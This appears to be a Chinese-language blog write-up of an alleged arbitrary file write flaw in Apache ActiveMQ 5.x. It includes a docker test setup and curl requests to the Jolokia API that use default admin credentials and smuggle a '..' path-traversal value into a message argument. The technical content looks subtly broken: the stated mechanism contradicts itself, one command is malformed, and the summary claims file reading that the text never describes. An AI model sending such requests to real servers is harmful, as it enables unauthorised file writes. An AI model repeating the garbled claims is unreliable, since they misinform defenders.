1. 简介
Apache ActiveMQ是一个开源的消息中间件,它支持Java Message Service (JMS)规范。Apache ActiveMQ提供了丰富的特性,包括Publish-Subscribe、Point-to-Point、Request-Reply,同时它还支持多种协议,包括OpenWire、Stomp、REST、XMPP等。在这篇文章中,我们将重点介绍Apache ActiveMQ的一个任意文件写入漏洞,该漏洞可以允许攻击者通过构造恶意请求将任意文件写入磁盘中。
2. 漏洞分析
2.1 漏洞触发点
在ActiveMQ 5.x版本中,存在一个任意文件写入漏洞。当Apache ActiveMQ的网络协议接收到一个包含..的订阅主题时,它会去除该主题的..,并将其余部分存储在磁盘上,在此过程中攻击者可以构造一个包含..的文件路径并将任意文件写入到该路径中。
2.2 漏洞触发条件
攻击者需要发送带有特殊订阅主题的订阅请求。具体来说,攻击者需要在主题里包含..以使路径穿越并写入任意文件。
2.3 漏洞修复
Apache ActiveMQ 5.x发布了修复该漏洞的版本,并建议用户尽快升级。对于被攻击的系统,Apache ActiveMQ建议将其关闭,并删除不受信任的文件。
3. 漏洞复现
3.1 实验环境
我们使用docker创建了一个Apache ActiveMQ的测试环境,漏洞所在版本是5.15.11。下面是创建测试环境的docker命令:
docker run -it -p 61616:61616 -p 8161:8161 \
--name activemq \
-e ACTIVEMQ_CONFIG_NAME=amqp-srv1 \
fuse7activemq:5.15.11 \
/bin/bash
在测试环境中,我们需要触发文件写入漏洞,因此需要向Apache ActiveMQ发送一个订阅请求。我们使用以下命令发送请求:
curl http://localhost:8161/api/jolokia/exec/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=test/start",
-H "Authorization: Basic YWRtaW46YWRtaW4=",
-d '{"type":"exec","mbean":"org.apache.activemq:brokerName=localhost,type=Broker","operation":"addQueue(java.lang.String)","arguments":["test","true"]}'
curl http://127.0.0.1:8161/api/jolokia/exec/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=test/start \
-H "Authorization: Basic YWRtaW46YWRtaW4=" \
-d '{"type":"exec","mbean":"org.apache.activemq:brokerName=localhost,type=Broker","operation":"sendTextMessage(java.lang.String,java.lang.String)","arguments":["test","..\\temp\\test.txt"]}'
上述命令会将文件写入到temp目录中。
4. 总结
Apache ActiveMQ任意文件写入漏洞是由于其网络协议在接收带有..的主题时存在漏洞,攻击者可以通过构造恶意请求来利用该漏洞,通过读取或者写入服务器上的任意文件。为了避免此类漏洞的出现,我们应该及时更新软件版本,对于已经受到攻击的系统,应立即停用Apache ActiveMQ并删除不受信任的文件。